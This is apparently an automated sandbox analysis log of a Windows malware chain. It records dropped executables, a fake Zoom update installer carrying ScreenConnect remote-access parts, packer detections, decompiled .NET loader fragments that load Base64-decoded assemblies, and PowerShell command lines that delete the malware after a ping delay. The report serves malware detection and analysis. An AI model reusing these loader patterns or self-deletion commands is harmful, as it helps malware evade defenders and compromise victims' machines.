Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: X91lnt.lnk.7.dr

LNK file: ..\..\..\..\..\X91lnt.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 1915392 > 1048576

Source: file.exe

Static PE information: Raw size of upegxhma is bigger than: 0x100000 < 0x1a1e00

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbM source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568629527.0000000005480000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wkernel32.pdb source: 74df2248d3.exe, 00000032.00000003.2773318310.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773232282.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568629527.0000000005480000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: wntdll.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2773030446.0000000005C30000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772894062.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2772640879.0000000005C80000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772479982.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 74df2248d3.exe, 00000032.00000003.2773030446.0000000005C30000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772894062.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2567845463.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000449B000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2992705579.000000001B982000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2972175932.00000000011F0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2974697720.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2973044916.0000000001282000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2561854287.0000000002DB0000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000BFF000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000013.00000000.2591400390.0000000000A0D000.00000002.00000001.01000000.00000013.sdmp, ScreenConnect.ClientService.exe.14.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2566675553.0000000003FA0000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568713090.00000000054A0000.00000004.08000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2996654210.000000001BBC2000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 00000010.00000003.2570452355.0000000004320000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.000000000448F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 74df2248d3.exe, 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 74df2248d3.exe, 00000032.00000003.2772640879.0000000005C80000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2772479982.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.000000000581C000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2573853588.0000000006B87000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2573853588.0000000006ACA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbS] source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2566675553.0000000003FA0000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2568713090.00000000054A0000.00000004.08000000.00040000.00000000.sdmp, rundll32.exe, 00000010.00000003.2567851406.0000000004420000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2996654210.000000001BBC2000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7d725d609)\ScreenConnect.Client.pdbZb source: ScreenConnect.ClientService.exe, 00000013.00000002.3011161427.0000000003FB4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000002.2569883580.0000000005816000.00000004.08000000.00040000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542761866.0000000000AD1000.00000002.00000001.01000000.0000000C.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2587734922.00000000088E4000.00000004.00000800.00020000.00000000.sdmp, ZoomUpdateInstallerFull.exe, 0000000C.00000002.2573853588.0000000006897000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbu source: ScreenConnect.WindowsClient.exe, 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2972432816.0000000001222000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.WindowsClient.exe, 00000014.00000002.2972432816.0000000001222000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 74df2248d3.exe, 00000032.00000003.2773318310.0000000005BB0000.00000004.00000001.00020000.00000000.sdmp, 74df2248d3.exe, 00000032.00000003.2773232282.0000000005A90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 00000013.00000002.3003370756.00000000029F7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000014.00000002.2987444375.0000000012E40000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: ZoomUpdateInstallerFull.exe, 0000000C.00000000.2542711410.00000000006CD000.00000002.00000001.01000000.0000000C.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.2e0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;upegxhma:EW;kkssyghm:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Unpacked PE file: 50.2.74df2248d3.exe.bb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;swxylpaw:EW;tqtvygux:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;swxylpaw:EW;tqtvygux:EW;.taggant:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: software1[1].exe.6.dr, z6IEI3QzAgx.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{HcgIl008m7z4cZT9KMUsOUnaHI.uYHjx9Xu3i6emcQTNLwsi5xlIK,HcgIl008m7z4cZT9KMUsOUnaHI.jG8zoe1sXoR1aRNNXpWLN7NgCK,HcgIl008m7z4cZT9KMUsOUnaHI.JIkRTjvyEIEf8M3crCrefO0gqL,HcgIl008m7z4cZT9KMUsOUnaHI._5FJ5UbD1dO9skkvKmv1jFaX7Rk,tuyaUSKGgTK.RL1bOqU0fPT()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: software1[1].exe.6.dr, z6IEI3QzAgx.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{YyFx5wyTyzR[2],tuyaUSKGgTK.bMbWhaZq46w(Convert.FromBase64String(YyFx5wyTyzR[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: software1.exe.6.dr, z6IEI3QzAgx.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{HcgIl008m7z4cZT9KMUsOUnaHI.uYHjx9Xu3i6emcQTNLwsi5xlIK,HcgIl008m7z4cZT9KMUsOUnaHI.jG8zoe1sXoR1aRNNXpWLN7NgCK,HcgIl008m7z4cZT9KMUsOUnaHI.JIkRTjvyEIEf8M3crCrefO0gqL,HcgIl008m7z4cZT9KMUsOUnaHI._5FJ5UbD1dO9skkvKmv1jFaX7Rk,tuyaUSKGgTK.RL1bOqU0fPT()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: software1.exe.6.dr, z6IEI3QzAgx.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{YyFx5wyTyzR[2],tuyaUSKGgTK.bMbWhaZq46w(Convert.FromBase64String(YyFx5wyTyzR[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: X91lnt.exe.7.dr, z6IEI3QzAgx.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{HcgIl008m7z4cZT9KMUsOUnaHI.uYHjx9Xu3i6emcQTNLwsi5xlIK,HcgIl008m7z4cZT9KMUsOUnaHI.jG8zoe1sXoR1aRNNXpWLN7NgCK,HcgIl008m7z4cZT9KMUsOUnaHI.JIkRTjvyEIEf8M3crCrefO0gqL,HcgIl008m7z4cZT9KMUsOUnaHI._5FJ5UbD1dO9skkvKmv1jFaX7Rk,tuyaUSKGgTK.RL1bOqU0fPT()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: X91lnt.exe.7.dr, z6IEI3QzAgx.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{YyFx5wyTyzR[2],tuyaUSKGgTK.bMbWhaZq46w(Convert.FromBase64String(YyFx5wyTyzR[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: software1[1].exe.6.dr, z6IEI3QzAgx.cs	.Net Code: Po19j2qrtE6 System.AppDomain.Load(byte[])
Source: software1[1].exe.6.dr, z6IEI3QzAgx.cs	.Net Code: e1F5XfWVlcP System.AppDomain.Load(byte[])
Source: software1[1].exe.6.dr, z6IEI3QzAgx.cs	.Net Code: e1F5XfWVlcP
Source: software1.exe.6.dr, z6IEI3QzAgx.cs	.Net Code: Po19j2qrtE6 System.AppDomain.Load(byte[])
Source: software1.exe.6.dr, z6IEI3QzAgx.cs	.Net Code: e1F5XfWVlcP System.AppDomain.Load(byte[])
Source: software1.exe.6.dr, z6IEI3QzAgx.cs	.Net Code: e1F5XfWVlcP
Source: X91lnt.exe.7.dr, z6IEI3QzAgx.cs	.Net Code: Po19j2qrtE6 System.AppDomain.Load(byte[])
Source: X91lnt.exe.7.dr, z6IEI3QzAgx.cs	.Net Code: e1F5XfWVlcP System.AppDomain.Load(byte[])
Source: X91lnt.exe.7.dr, z6IEI3QzAgx.cs	.Net Code: e1F5XfWVlcP
Source: 12.2.ZoomUpdateInstallerFull.exe.2db0000.0.raw.unpack, Program.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
